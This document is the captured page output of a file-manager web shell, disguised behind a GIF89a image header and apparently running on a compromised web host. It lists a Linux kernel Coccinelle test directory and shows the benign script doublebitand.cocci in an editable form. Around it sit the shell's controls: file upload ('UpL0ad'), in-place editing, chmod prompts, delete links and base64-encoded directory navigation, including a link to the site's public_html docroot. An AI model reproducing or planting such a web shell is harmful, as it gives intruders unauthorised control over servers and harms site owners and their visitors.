GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>doublebitand.cocci<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=ZG91YmxlYml0YW5kLmNvY2Np"><input name="f" value="doublebitand.cocci"><textarea name="t">// SPDX-License-Identifier: GPL-2.0-only
/// Find bit operations that include the same argument more than once
//# One source of false positives is when the argument performs a side
//# effect.  Another source of false positives is when a neutral value
//# such as 0 for | is used to indicate no information, to maintain the
//# same structure as other similar expressions
///
// Confidence: Moderate
// Copyright: (C) 2010 Nicolas Palix, DIKU.
// Copyright: (C) 2010 Julia Lawall, DIKU.
// Copyright: (C) 2010 Gilles Muller, INRIA/LiP6.
// URL: https://coccinelle.gitlabpages.inria.fr/website
// Comments:
// Options: --no-includes --include-headers

virtual context
virtual org
virtual report

@r expression@
expression E;
position p;
@@

(
*        E@p
         &amp; ... &amp; E
|
*        E@p
         | ... | E
|
*        E@p
         &amp; ... &amp; !E
|
*        E@p
         | ... | !E
|
*        !E@p
         &amp; ... &amp; E
|
*        !E@p
         | ... | E
)

@script:python depends on org@
p &lt;&lt; r.p;
@@

cocci.print_main(&quot;duplicated argument to &amp; or |&quot;,p)

@script:python depends on report@
p &lt;&lt; r.p;
@@

coccilib.report.print_report(p[0],&quot;duplicated argument to &amp; or |&quot;)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-124/scripts/coccinelle/tests<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxl"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&x=ZG91YmxlYml0YW5kLmNvY2Np">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=ZG91YmxlYml0YW5kLmNvY2Np"/>doublebitand.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=ZG91YmxlYml0YW5kLmNvY2Np&c=`+btoa(c):0" value="0644"></td><td>1165</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&x=ZG91YmxldGVzdC5jb2NjaQ==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=ZG91YmxldGVzdC5jb2NjaQ=="/>doubletest.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=ZG91YmxldGVzdC5jb2NjaQ==&c=`+btoa(c):0" value="0644"></td><td>1117</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&x=b2RkX3B0cl9lcnIuY29jY2k=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=b2RkX3B0cl9lcnIuY29jY2k="/>odd_ptr_err.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=b2RkX3B0cl9lcnIuY29jY2k=&c=`+btoa(c):0" value="0644"></td><td>2164</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&x=dW5zaWduZWRfbGVzc2VyX3RoYW5femVyby5jb2NjaQ==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=dW5zaWduZWRfbGVzc2VyX3RoYW5femVyby5jb2NjaQ=="/>unsigned_lesser_than_zero.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvc2NyaXB0cy9jb2NjaW5lbGxlL3Rlc3Rz&f=dW5zaWduZWRfbGVzc2VyX3RoYW5femVyby5jb2NjaQ==&c=`+btoa(c):0" value="0644"></td><td>2218</td></tr></table>